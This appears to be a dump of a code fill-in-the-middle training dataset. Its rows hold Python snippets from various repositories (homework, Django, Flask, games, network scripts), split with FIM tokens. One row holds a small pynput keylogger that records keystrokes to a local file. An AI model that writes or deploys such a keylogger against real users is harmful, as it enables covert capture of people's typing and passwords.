text stringlengths 232 16.3k | domain stringclasses 1
value | difficulty stringclasses 3
values | meta dict |
|---|---|---|---|
<|fim_suffix|>
if __name__ == '__main__':
tita = Pessoa('Tita', 10)
max = Pessoa('Max', 20)
fred = Pessoa('Fred', 0)
aveia = Pessoa('Aveia', 11)
print(aveia.compara(tita))
max.match(aveia)<|fim_prefix|># repo: BAFurtado/Python4ABMIpea2020 path: /classes/class_template.py
""" Class template
... | code_fim | hard | {
"lang": "python",
"repo": "BAFurtado/Python4ABMIpea2020",
"path": "/classes/class_template.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: BAFurtado/Python4ABMIpea2020 path: /classes/class_template.py
""" Class template
Ipea's Python for agent-based modeling course
"""
import random
# class name typically Capital letter
class Pessoa:
# Usually has an __init__ method called at the moment of instance creation
def __... | code_fim | hard | {
"lang": "python",
"repo": "BAFurtado/Python4ABMIpea2020",
"path": "/classes/class_template.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: raymondgggg/Python-Programs path: /Homework09.py
#Homework 09
#Raymond Guevara
#018504731
#Algorithm Workbench
#Question 1
print("Question 1")
height = int(input("Please enter your height: "))
print()
#Question 2
print("Question 2")
color = input("please enter your favorite color: ")
print()
... | code_fim | hard | {
"lang": "python",
"repo": "raymondgggg/Python-Programs",
"path": "/Homework09.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>#Question 7
print("Question 7")
subtotal = 100 #Arbitrary number
total = subtotal * .15
print(total)
print()
#Question 8
print("Question 8")
a = 5
b = 2
c = 3
result = a + b * c
print(result)
print()
#Question 9
print("Question 9")
num = 99
num = 5
print(num)<|fim_prefix|># repo: raymondgggg/Python-Pro... | code_fim | hard | {
"lang": "python",
"repo": "raymondgggg/Python-Programs",
"path": "/Homework09.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>#Question 8
print("Question 8")
a = 5
b = 2
c = 3
result = a + b * c
print(result)
print()
#Question 9
print("Question 9")
num = 99
num = 5
print(num)<|fim_prefix|># repo: raymondgggg/Python-Programs path: /Homework09.py
#Homework 09
#Raymond Guevara
#018504731
#Algorithm Workbench
#Question 1
print("... | code_fim | hard | {
"lang": "python",
"repo": "raymondgggg/Python-Programs",
"path": "/Homework09.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: dr-dos-ok/Code_Jam_Webscraper path: /solutions_python/Problem_117/1323.py
import sys
def main(stream=sys.stdin):
"""
Input, output, and parsing, etc. Yeah.
"""
num_cases = int(stream.readline().strip())
for i in xrange(num_cases):
rows, cols = map(int, stream.readline... | code_fim | hard | {
"lang": "python",
"repo": "dr-dos-ok/Code_Jam_Webscraper",
"path": "/solutions_python/Problem_117/1323.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> """
>>> is_board_valid([[1,2,1]], 1, 3)
True
"""
return all(all(is_cell_valid(board, r, c) for c in xrange(cols)) for r in xrange(rows))
def is_cell_valid(board, r, c):
"""
>>> is_cell_valid([ [2, 2, 2, 2, 2], [2, 1, 1, 1, 2], [2, 1, 2, 1, 2], [2, 1, 1, 1, 2], [2, 2, 2, 2, 2] ... | code_fim | medium | {
"lang": "python",
"repo": "dr-dos-ok/Code_Jam_Webscraper",
"path": "/solutions_python/Problem_117/1323.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> # Create the sweep parameters for a sweep
params = {}
params['writer'] = {}
params['reader'] = {}
params['writer']['nprocs'] = p.ParamRunner ('writer', 'nprocs', [])
params['writer']['appid'] = p.ParamCmdLineOption ('writer', 'appid', '-a', [1])
params['writ... | code_fim | hard | {
"lang": "python",
"repo": "pnorbert/ADIOS2-Testing",
"path": "/performance/cheetah/cheetah-campaign.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: pnorbert/ADIOS2-Testing path: /performance/cheetah/cheetah-campaign.py
from codar.cheetah import Campaign
from codar.cheetah import parameters as p
from codar.savanna.machines import SummitNode
import copy
def get_shared_node_layout (n_writers, n_readers):
nc = SummitNode()
for i in rang... | code_fim | hard | {
"lang": "python",
"repo": "pnorbert/ADIOS2-Testing",
"path": "/performance/cheetah/cheetah-campaign.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: leahkim/CS194Project path: /ai/agents/actions.py
__author__='rhyschris'
""" Defines the set of actions.
This functions exactly the same as
Actions.cs in the Unity game.
"""
from enum import Enum
<|fim_suffix|>if __name__ == '__main__':
print "Contents of actions:"
for act... | code_fim | hard | {
"lang": "python",
"repo": "leahkim/CS194Project",
"path": "/ai/agents/actions.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>if __name__ == '__main__':
print "Contents of actions:"
for act in Actions:
print repr(act)<|fim_prefix|># repo: leahkim/CS194Project path: /ai/agents/actions.py
__author__='rhyschris'
""" Defines the set of actions.
This functions exactly the same as
Actions.cs in the Unit... | code_fim | hard | {
"lang": "python",
"repo": "leahkim/CS194Project",
"path": "/ai/agents/actions.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> dependencies = [
('products', '0007_auto_20150904_1320'),
]
operations = [
migrations.AddField(
model_name='customer',
name='in_close',
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name=... | code_fim | medium | {
"lang": "python",
"repo": "rokealva83/lils2",
"path": "/products/migrations/0008_auto_20151126_2325.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: rokealva83/lils2 path: /products/migrations/0008_auto_20151126_2325.py
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
import datetime
<|fim_suffix|> operations = [
migrations.AddField(
model_name='customer',
... | code_fim | medium | {
"lang": "python",
"repo": "rokealva83/lils2",
"path": "/products/migrations/0008_auto_20151126_2325.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>def send_show_command(device, commands):
OutputPath = 'c:/script/output/' + str(device['host']) + '.txt'
result = open(OutputPath, 'w')
flag = True
try:
with ConnectHandler(**device) as ssh:
ssh.enable()
for command in commands:
output = ssh.... | code_fim | hard | {
"lang": "python",
"repo": "Trofish/Script_Collection",
"path": "/2023/Multiple_show.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Trofish/Script_Collection path: /2023/Multiple_show.py
__author__ = "Yong Peng"
__version__ = "1.0"
import time
import re
import getpass
from netmiko import (
ConnectHandler,
NetmikoTimeoutException,
NetmikoAuthenticationException,
)
with open('./device_list.txt','r') as f:
de... | code_fim | medium | {
"lang": "python",
"repo": "Trofish/Script_Collection",
"path": "/2023/Multiple_show.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>if __name__ == '__main__':
main()<|fim_prefix|># repo: timleslie/gattini path: /tools/complete.py
"""
Unpacks and preprocesses all of the data from the tarball of partial data,
which includes the flats and dark frames.
"""
import tools.unpack
import util.files
import util.dark
import util.flat
def ... | code_fim | medium | {
"lang": "python",
"repo": "timleslie/gattini",
"path": "/tools/complete.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: timleslie/gattini path: /tools/complete.py
"""
Unpacks and preprocesses all of the data from the tarball of partial data,
which includes the flats and dark frames.
"""
<|fim_suffix|> tools.unpack.main()
util.files.main()
util.dark.main()
util.flat.main()
if __name__ == '__main__... | code_fim | medium | {
"lang": "python",
"repo": "timleslie/gattini",
"path": "/tools/complete.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> with open(i,) as f:
obj = json.load(f)
f.close()
outfile = open(i, "w")
outfile.write(json.dumps(obj, indent=4, sort_keys=True))
outfile.close()<|fim_prefix|># repo: amanapte/squash-generation path: /squash/beautify_json.py
import simplejson as json
json_list = [ "/c... | code_fim | medium | {
"lang": "python",
"repo": "amanapte/squash-generation",
"path": "/squash/beautify_json.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: amanapte/squash-generation path: /squash/beautify_json.py
import simplejson as json
json_list = [ "/content/squash-generation/squash/final/Custom.json",
"/content/squash-generation/squash/temp/Custom/final_qa_set.json",
"/content/squash-generation/squash/temp/Cus... | code_fim | medium | {
"lang": "python",
"repo": "amanapte/squash-generation",
"path": "/squash/beautify_json.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Hehouhua/waf_branches path: /chuhuo_2.71/bluedon/bdwafd/bdsetvlan.py
#! /usr/bin/env python
# -*- conding:utf-8 -*-
import MySQLdb
import os
import commands
from common import logger_init
from logging import getLogger
import re
from db import VlanInfo,Session,WafBridge
def getVlan(): # get vlan... | code_fim | hard | {
"lang": "python",
"repo": "Hehouhua/waf_branches",
"path": "/chuhuo_2.71/bluedon/bdwafd/bdsetvlan.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>def VlanConfig(): #config vlan(add and delete)
logger_init('main','log/vlanconfig.log','INFO')
config_interface=getVlan()
configured_port=getSysInterface()
vlan_port=' '.join(configured_port[0])
configured_nic=' '.join(configured_port[1])
for i in range(len(config_interface)):
... | code_fim | hard | {
"lang": "python",
"repo": "Hehouhua/waf_branches",
"path": "/chuhuo_2.71/bluedon/bdwafd/bdsetvlan.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> info=os.popen('ifconfig').read()
f=open('ifconfig_info.txt','w')
print >>f,info
f.close()
match=re.compile(r'(.+?)\s*?Link')
f=open('ifconfig_info.txt','r')
interface=[]
for line in f:
if 'Link encap' in line:
info=match.match(line).groups()
in... | code_fim | hard | {
"lang": "python",
"repo": "Hehouhua/waf_branches",
"path": "/chuhuo_2.71/bluedon/bdwafd/bdsetvlan.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: hofbi/tdd-sample path: /python/fizzbuzz.py
import unittest
def is_multiple(value, base):
return 0 == (value % base)
def fizz_buzz(value):
if is_multiple(value, 5) and is_multiple(value, 3):
return "FizzBuzz"
if is_multiple(value, 3):
return "Fizz"
if is_multipl... | code_fim | hard | {
"lang": "python",
"repo": "hofbi/tdd-sample",
"path": "/python/fizzbuzz.py",
"mode": "psm",
"license": "Beerware",
"source": "the-stack-v2"
} |
<|fim_suffix|> self.check_fizz_buzz(6, "Fizz")
def test_fizz_buzz__fizz_buzz_10_Buzz(self):
self.check_fizz_buzz(10, "Buzz")
def test_fizz_buzz__fizz_buzz_15_FizzBuzz(self):
self.check_fizz_buzz(15, "FizzBuzz")
if __name__ == "__main__":
print("Running all unit tests...")
unit... | code_fim | hard | {
"lang": "python",
"repo": "hofbi/tdd-sample",
"path": "/python/fizzbuzz.py",
"mode": "spm",
"license": "Beerware",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: joserc87/parrotart path: /tests/test_partyparrot.py
from partyparrot import convert_with_alphabet_emojis, convert
def test_convert_char_to_alphabet():
assert convert_with_alphabet_emojis("") == ""
assert convert_with_alphabet_emojis(" ") == " "
assert convert_with_alphabet_emojis(... | code_fim | medium | {
"lang": "python",
"repo": "joserc87/parrotart",
"path": "/tests/test_partyparrot.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>
def test_convert_wrong_char():
txt = convert("@!*", ":icon:", ":nbsp")
assert (
txt
== ":icon::icon::icon::nbsp:nbsp:icon::icon::icon::nbsp:nbsp:icon::icon::icon:\n:nbsp:nbsp:icon::nbsp:nbsp:nbsp:nbsp:icon::nbsp:nbsp:nbsp:nbsp:icon:\n:nbsp:icon::nbsp:nbsp:nbsp:nbsp:icon::nbsp:nbsp... | code_fim | hard | {
"lang": "python",
"repo": "joserc87/parrotart",
"path": "/tests/test_partyparrot.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> except Exception as e:
print('The execution of the mortality analysis algorithm was not completed due to an error')
logging.exception('Exception occurred')
logging.info('The execution of the mortality analysis algorithm was not completed due to an error')<|fim_prefix|># repo: o... | code_fim | hard | {
"lang": "python",
"repo": "oganesyankarina/death_analize",
"path": "/mortality.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: oganesyankarina/death_analize path: /mortality.py
import logging
from datetime import datetime
from preprocessing import death_preprocessing
from preprocessing_three_month import death_preprocessing_three_month
from death_rule_first_55 import death_rule_first_55
from death_rule_second import dea... | code_fim | hard | {
"lang": "python",
"repo": "oganesyankarina/death_analize",
"path": "/mortality.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> @return: str
'''
self._state = state
self.update()
def get_creation_date(self):
'''
Returns the session creation date.
@return:
'''
return time.ctime(self._create_date)
def get_context(self):
... | code_fim | hard | {
"lang": "python",
"repo": "hamed1361554/sportmagazine-server",
"path": "/src/deltapy/security/session/session.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: hamed1361554/sportmagazine-server path: /src/deltapy/security/session/session.py
'''
Created on May 18, 2010
@author: Abi.Mohammadi & Majid.Vesal
'''
from threading import current_thread
import copy
import time
from deltapy.core import DeltaException, Context
import deltapy.security.services... | code_fim | hard | {
"lang": "python",
"repo": "hamed1361554/sportmagazine-server",
"path": "/src/deltapy/security/session/session.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: AndyyTaylor/Yr12Major path: /src/screens/maze/mazeenv.py
import pygame
import numpy as np
import random
from enum import Enum
from .config import *
class Actions(Enum):
FORWARD = 0
RIGHT = 1
LEFT = 2
BACK = 3
class MazeEnv():
''' TODO '''
def __init__(self, GW, GH, SW, S... | code_fim | hard | {
"lang": "python",
"repo": "AndyyTaylor/Yr12Major",
"path": "/src/screens/maze/mazeenv.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> self.pos = np.array(self.getPos(self.SPAWN_STATE))
def render(self, screen, close=False):
self.screen = screen
self.screen.fill((0, 0, 0))
# Draw the grid
# font = pygame.font.Font(None, 22)
for x in range(GRID_WIDTH):
for y in range(GRID_H... | code_fim | hard | {
"lang": "python",
"repo": "AndyyTaylor/Yr12Major",
"path": "/src/screens/maze/mazeenv.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: mvanbraeckel/ShellS3AWS-LoadDynamoTable_4010 path: /queryOECD.py
#!/usr/bin/env python
'''
@author : Mitchell Van Braeckel
@id : 1002297
@date : 10/10/2020
@version : python 3.8-32 / python 3.8.5
@course : CIS*4010 Cloud Computing
@brief : A1 Part 2 - AWS DynamoDB ; Q2 - Query OECD
@note :
... | code_fim | hard | {
"lang": "python",
"repo": "mvanbraeckel/ShellS3AWS-LoadDynamoTable_4010",
"path": "/queryOECD.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>############################################ FUNCTIONS ############################################
# Converts the label of a dict into its code key, returns None if not a label
def convert_dict_label_to_code_key(label, encodings_dict):
# Get the key of the label if the label exists in the dict as a ... | code_fim | hard | {
"lang": "python",
"repo": "mvanbraeckel/ShellS3AWS-LoadDynamoTable_4010",
"path": "/queryOECD.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> # Bring in globals to modify
global total_can_usa
global total_can_usa_mex
global total_neither
# Init local accumulators
temp_can_usa = 0
temp_can_usa_mex = 0
temp_neither = 0
# Print table headers: common variable (for commodity code) across all 4 tables, and table ... | code_fim | hard | {
"lang": "python",
"repo": "mvanbraeckel/ShellS3AWS-LoadDynamoTable_4010",
"path": "/queryOECD.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>for fid in tqdm(range(fc2+RIGHT_SYNC_1-LEFT_SYNC_1, RIGHT_SYNC_2-LEFT_SYNC_2)):
_, right_frame = reader1.read()
new_frame = np.concatenate([filler, border, right_frame], axis=1)
# cv2.imshow('out', new_frame)
writer.write(new_frame)
# if cv2.waitKey(1) & 0xFF == ord('q'):
# bre... | code_fim | hard | {
"lang": "python",
"repo": "nghiatt90/random-scripts",
"path": "/python/vision/videosync.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>reader1 = cv2.VideoCapture(INPUT_1)
reader2 = cv2.VideoCapture(INPUT_2)
reader3 = cv2.VideoCapture(INPUT_3)
last_shape = (h1, w1+w2+10, 3)
for fid in tqdm(range(fc2+RIGHT_SYNC_1-LEFT_SYNC_1)):
_, right_frame = reader1.read()
if fid < RIGHT_SYNC_1-LEFT_SYNC_1:
left_frame = filler
else:... | code_fim | hard | {
"lang": "python",
"repo": "nghiatt90/random-scripts",
"path": "/python/vision/videosync.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: nghiatt90/random-scripts path: /python/vision/videosync.py
import cv2
import numpy as np
import os
from tqdm import tqdm
DIR = '/home/nghiatruong/Desktop'
INPUT_1 = os.path.join(DIR, 'GOPR1806.MP4')
INPUT_2 = os.path.join(DIR, '20190715_180940.mp4')
INPUT_3 = os.path.join(DIR, '20190715_181200.... | code_fim | hard | {
"lang": "python",
"repo": "nghiatt90/random-scripts",
"path": "/python/vision/videosync.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> """
m->Size of nums1 list
n->Size of nums2 list
"""
mergedArray = []
i = 0
j = 0
while(i < m and j < n):
if(nums1[i] <= nums2[j]):
mergedArray.append(nums1[i])
i += 1
else:
... | code_fim | hard | {
"lang": "python",
"repo": "Rafasu/CProgramming",
"path": "/BasicAlgorithms/mergeTwoSortedArrays.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Rafasu/CProgramming path: /BasicAlgorithms/mergeTwoSortedArrays.py
# Classic solution for merging two sorted arrays/list to a new one.
# (Based on Merge Sort)
class Solution:
<|fim_suffix|> """
m->Size of nums1 list
n->Size of nums2 list
"""
mergedArray = []... | code_fim | hard | {
"lang": "python",
"repo": "Rafasu/CProgramming",
"path": "/BasicAlgorithms/mergeTwoSortedArrays.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: pypi123/machine_learning_ZZH path: /Unit5/Unit5_5.py
'''引入数据，并对数据进行预处理'''
# step 1 引入数据
import pandas as pd
with open('D:\\Desktop\西瓜数据集3.0.csv', 'r', encoding='utf-8') as data_obj:
df = pd.read_csv(data_obj)
# Step 2 对数据进行预处理
# 对离散属性进行独热编码，定性转为定量，使每一个特征的取值作为一个新的特征
# 增加特征量 Catagorical Var... | code_fim | hard | {
"lang": "python",
"repo": "pypi123/machine_learning_ZZH",
"path": "/Unit5/Unit5_5.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>n_h = 5
net = buildNetwork(19, n_h, 2, outclass=SoftmaxLayer)
# Step 2 : 构建前馈网络标准BP算法
from pybrain.supervised import BackpropTrainer
trainer_sd = BackpropTrainer(net, traindata)
# # 或者使用累积BP算法,训练次数50次
# trainer_ac = BackpropTrainer(net, traindata, batchlearning=True)
# trainer_ac.trainEpochs(50)
# err_t... | code_fim | hard | {
"lang": "python",
"repo": "pypi123/machine_learning_ZZH",
"path": "/Unit5/Unit5_5.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> file = open("strokes.txt","a")
for k in list:
file.writelines("{}\n".format(str(k)))
file.close()
# erases contents of the file when the program is runned
open("strokes.txt","w").close()
with keyboard.Listener(on_press = on_press,on_release=on_release) as listener:
listener.joi... | code_fim | medium | {
"lang": "python",
"repo": "markovicv/Keyloger",
"path": "/keyloger.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: markovicv/Keyloger path: /keyloger.py
from pynput import keyboard
# list of chars entered by the user
list = []
number_of_chars = 0
# if entered chars go above MAX LENGTH they will be written inside a file
MAX_LENGTH = 300
def on_press(key):
global number_of_chars
global list
l... | code_fim | hard | {
"lang": "python",
"repo": "markovicv/Keyloger",
"path": "/keyloger.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Drawell/DialogGraphRedactor path: /act_nodes/__init__.py
from .start_node import StartNode
from .character_appearance import CharacterAppearanc<|fim_suffix|>rt SetLandscape
from .add_item import AddItem
from .switch_by_item import SwitchByItem<|fim_middle|>e
from .character_disappearance import C... | code_fim | medium | {
"lang": "python",
"repo": "Drawell/DialogGraphRedactor",
"path": "/act_nodes/__init__.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>rt SetLandscape
from .add_item import AddItem
from .switch_by_item import SwitchByItem<|fim_prefix|># repo: Drawell/DialogGraphRedactor path: /act_nodes/__init__.py
from .start_node import StartNode
from .character_appearance import CharacterAppearance
from .character_disappearance import CharacterDisapp... | code_fim | medium | {
"lang": "python",
"repo": "Drawell/DialogGraphRedactor",
"path": "/act_nodes/__init__.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|># Database
# https://docs.djangoproject.com/en/1.7/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(os.path.join(BASE_DIR, 'data'), 'db.sqlite3'),
},
}
# Internationalization
# https://docs.djangoproject.com/en/1.7/topics... | code_fim | hard | {
"lang": "python",
"repo": "shblhy/myhotel",
"path": "/settings.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: shblhy/myhotel path: /settings.py
#-*- coding:utf-8 -*-
"""
Django settings for hehotel project.
For more information on this file, see
https://docs.djangoproject.com/en/1.7/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.7/ref/settings/
... | code_fim | hard | {
"lang": "python",
"repo": "shblhy/myhotel",
"path": "/settings.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> Input
-----
pov: (batch_size, 3, 64, 64) tensor of player view
input_size: (batch_size, 2)
Returns
-------
action: (batch_size, 9) tensor with indicies:
0: attack probability
1-5: CAMERA_OPTIONS[0-4]
6: forward probabi... | code_fim | hard | {
"lang": "python",
"repo": "jarbus/minerl",
"path": "/model.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> """
def forward(self, pov, feats):
pov = self.image_embed(pov)
full_embed = self.l1(torch.cat((pov, feats), dim=1))
full_embed = self.r1(full_embed)
out = self.out(full_embed)
return out<|fim_prefix|># repo: jarbus/minerl path: /model.py
import numpy... | code_fim | hard | {
"lang": "python",
"repo": "jarbus/minerl",
"path": "/model.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: jarbus/minerl path: /model.py
import numpy as np
import torch
import torch.nn as nn
from utils import *
from collections import OrderedDict
from torchsummary import summary
class Model(nn.Module):
"""Example usage:
model = Model()
outputs = model(pov_tensor, feat_tensor)
"""
... | code_fim | hard | {
"lang": "python",
"repo": "jarbus/minerl",
"path": "/model.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: adychn/Logistic-Regression path: /hr_employee_retension/logistic-regression-sklearn.py
#!/usr/bin/env python
# coding: utf-8
# HR Employee Retension Rate, predicting an employee likely to leave or not.
# In[ ]:
import numpy as np # 数组常用库
import pandas as pd # 读入csv常用库
from patsy import dmatrices ... | code_fim | hard | {
"lang": "python",
"repo": "adychn/Logistic-Regression",
"path": "/hr_employee_retension/logistic-regression-sklearn.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|># In[ ]:
# 观察实际离职/未离职被预测成为离职/未离职的数目
print(metrics.accuracy_score(ytest, pred))
print(metrics.confusion_matrix(ytest, pred))
# prediction
#
#
#actual
#
#
#
# classification_report会输出每一类对应的precision, recall
print(metrics.classification_report(ytest, pred))
# In[ ]:
# 10份的交叉验证Cross Validation
print(c... | code_fim | hard | {
"lang": "python",
"repo": "adychn/Logistic-Regression",
"path": "/hr_employee_retension/logistic-regression-sklearn.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: loguedes/flask-api-training path: /app.py
from flask import Flask, request, jsonify
from flask_sqlalchemy import SQLAlchemy
from flask_marshmallow import Marshmallow
import os
# Init app
app = Flask(__name__)
basedir = os.path.abspath(os.path.dirname(__file__))
# Database
app.config['SQLALCHEM_D... | code_fim | medium | {
"lang": "python",
"repo": "loguedes/flask-api-training",
"path": "/app.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>
# Init schema
product_schema = ProductSchema(strict=True)
product_schema = ProductSchema(many=True, strict=True)
# Run Server
if __name__ == '__main__':
app.run(debug=True)<|fim_prefix|># repo: loguedes/flask-api-training path: /app.py
from flask import Flask, request, jsonify
from flask_sqlalche... | code_fim | medium | {
"lang": "python",
"repo": "loguedes/flask-api-training",
"path": "/app.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>def main():
#print rebound(10)
print get_all_meter(11)
if __name__ == '__main__':
main()<|fim_prefix|># repo: chenwei90/IDG path: /TestPython/examples/example20_小球弹起.py
# -*- coding: utf-8 -*-
'''
一球从100米高度自由落下
每次落地后反跳回原高度的一半；再落下，求它在第10次落地时，共经过多少米？第10次反弹多高？
求两个东西, 1是经过了多少米, 2是反弹... | code_fim | hard | {
"lang": "python",
"repo": "chenwei90/IDG",
"path": "/TestPython/examples/example20_小球弹起.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: chenwei90/IDG path: /TestPython/examples/example20_小球弹起.py
# -*- coding: utf-8 -*-
'''
一球从100米高度自由落下
每次落地后反跳回原高度的一半；再落下，求它在第10次落地时，共经过多少米？第10次反弹多高？
求两个东西, 1是经过了多少米, 2是反弹多高
1: 100 100+50+50 100+50+50+25+25
2: 100 100/2=50 50/2=25 25/2=2
'''
import math
<|fim_suffix|> ... | code_fim | medium | {
"lang": "python",
"repo": "chenwei90/IDG",
"path": "/TestPython/examples/example20_小球弹起.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>def rebound(time):
m = start_height*(rebound_rate ** (time))
return m
'''
1.第一次落地, 经过了100米
2.第二次落地, 经过了100+50+50米
3.第三次落地, 经过了100+50+50+25+25米
'''
def get_all_meter(time):
for k in range(1, time):
meter = start_height + rebound(time-1)*2
meter_list.append(meter)
d... | code_fim | medium | {
"lang": "python",
"repo": "chenwei90/IDG",
"path": "/TestPython/examples/example20_小球弹起.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: NirajSingh90/pgreport path: /src/postgre_info.py
#finding postgresql info
import re
import subprocess
def get_postgre_version():
<|fim_suffix|>
version=get_postgre_version()
print version<|fim_middle|> p = subprocess.Popen("psql --version",stdout=subprocess.PIPE,shell=True)
k = re.findall(... | code_fim | medium | {
"lang": "python",
"repo": "NirajSingh90/pgreport",
"path": "/src/postgre_info.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>version=get_postgre_version()
print version<|fim_prefix|># repo: NirajSingh90/pgreport path: /src/postgre_info.py
#finding postgresql info
import re
import subprocess
def get_postgre_version():
<|fim_middle|> p = subprocess.Popen("psql --version",stdout=subprocess.PIPE,shell=True)
k = re.findall(r... | code_fim | hard | {
"lang": "python",
"repo": "NirajSingh90/pgreport",
"path": "/src/postgre_info.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: KFranciszek/pylove-training path: /1.7/testowy.py
import requests
save_result = requests.post(
'ht<|fim_suffix|>('http://localhost:5000/read')
print(read_result.text)<|fim_middle|>tp://localhost:5000/save',
json={'value': 'witam'}
)
print(save_result.text)
read_result = requests.get | code_fim | medium | {
"lang": "python",
"repo": "KFranciszek/pylove-training",
"path": "/1.7/testowy.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>
)
print(save_result.text)
read_result = requests.get('http://localhost:5000/read')
print(read_result.text)<|fim_prefix|># repo: KFranciszek/pylove-training path: /1.7/testowy.py
import requests
save_result = requests.post(
'ht<|fim_middle|>tp://localhost:5000/save',
json={'value': 'witam'} | code_fim | easy | {
"lang": "python",
"repo": "KFranciszek/pylove-training",
"path": "/1.7/testowy.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|># 開発サーバーでMEDIA_ROOT,MEDIA_URLを渡したdjango.contrib.staticfiles.urls.static関数から
# 返されたルーティングを追加する
urlpatterns +=static(settings_common.MEDIA_URL, document_root=settings_dev.MEDIA_ROOT)<|fim_prefix|># repo: ALiberInc/Python_Django_LoginTest path: /login_test_prj/urls.py
from django.contrib import admin
from d... | code_fim | hard | {
"lang": "python",
"repo": "ALiberInc/Python_Django_LoginTest",
"path": "/login_test_prj/urls.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ALiberInc/Python_Django_LoginTest path: /login_test_prj/urls.py
from django.contrib import admin
